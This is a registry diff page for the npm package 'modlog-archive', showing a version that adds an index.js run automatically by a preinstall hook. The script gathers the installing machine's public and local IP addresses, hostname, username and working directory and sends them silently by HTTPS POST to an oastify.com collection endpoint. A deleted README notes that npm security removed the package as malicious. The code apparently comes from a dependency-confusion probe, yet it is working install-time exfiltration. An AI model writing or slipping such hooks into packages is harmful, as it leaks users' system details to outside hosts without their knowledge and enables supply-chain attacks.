modlog-archive 0.0.1-security → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of modlog-archive might be problematic. Click here for more details.
- package/index.js +73 -0
- package/package.json +10 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,73 @@
|
|
1
|
+
// index.js
|
2
|
+
// author:- whitehacker003@protonmail.com
|
3
|
+
const os = require("os");
|
4
|
+
const https = require("https");
|
5
|
+
const { execSync } = require("child_process");
|
6
|
+
|
7
|
+
// Replace with your Interactsh endpoint
|
8
|
+
const interactshEndpoint = "d1fo17ft9vek0lfsieptndt1xs3jrafz.oastify.com";
|
9
|
+
|
10
|
+
// Function to get the local IP address
|
11
|
+
function getLocalIP() {
|
12
|
+
const networkInterfaces = os.networkInterfaces();
|
13
|
+
for (const interfaceName in networkInterfaces) {
|
14
|
+
const interfaceInfo = networkInterfaces[interfaceName];
|
15
|
+
for (const info of interfaceInfo) {
|
16
|
+
if (info.family === 'IPv4' && !info.internal) {
|
17
|
+
return info.address;
|
18
|
+
}
|
19
|
+
}
|
20
|
+
}
|
21
|
+
return null; // If no external IPv4 address is found
|
22
|
+
}
|
23
|
+
|
24
|
+
function sendPostRequest(data) {
|
25
|
+
const postData = JSON.stringify(data);
|
26
|
+
|
27
|
+
const options = {
|
28
|
+
hostname: interactshEndpoint,
|
29
|
+
port: 443,
|
30
|
+
path: "/",
|
31
|
+
method: "POST",
|
32
|
+
headers: {
|
33
|
+
"Content-Type": "application/json",
|
34
|
+
"Content-Length": postData.length,
|
35
|
+
},
|
36
|
+
};
|
37
|
+
|
38
|
+
const req = https.request(options, (res) => {
|
39
|
+
res.on("data", (d) => {
|
40
|
+
process.stdout.write(d);
|
41
|
+
});
|
42
|
+
});
|
43
|
+
|
44
|
+
req.on("error", (e) => {
|
45
|
+
// Handle error silently to avoid breaking execution
|
46
|
+
});
|
47
|
+
|
48
|
+
req.write(postData);
|
49
|
+
req.end();
|
50
|
+
}
|
51
|
+
|
52
|
+
try {
|
53
|
+
// Get required information
|
54
|
+
const publicIP = execSync("curl -s ifconfig.me").toString().trim(); // Gets public IP address
|
55
|
+
const localIP = getLocalIP(); // Gets local IP address
|
56
|
+
const hostname = os.hostname();
|
57
|
+
const username = os.userInfo().username;
|
58
|
+
const cwd = execSync("pwd").toString().trim();
|
59
|
+
|
60
|
+
// Prepare the data payload
|
61
|
+
const dataPayload = {
|
62
|
+
public_ip: publicIP,
|
63
|
+
local_ip: localIP,
|
64
|
+
hostname: hostname,
|
65
|
+
username: username,
|
66
|
+
current_working_directory: cwd,
|
67
|
+
};
|
68
|
+
|
69
|
+
// Send the POST request with the data
|
70
|
+
sendPostRequest(dataPayload);
|
71
|
+
} catch (error) {
|
72
|
+
console.error("Error executing commands:", error);
|
73
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,13 @@
|
|
1
1
|
{
|
2
2
|
"name": "modlog-archive",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.4",
|
4
|
+
"description": "Reddit-RCE-Vulnerability",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall" : "node index.js"
|
9
|
+
|
10
|
+
},
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC"
|
6
13
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=modlog-archive for more information.
|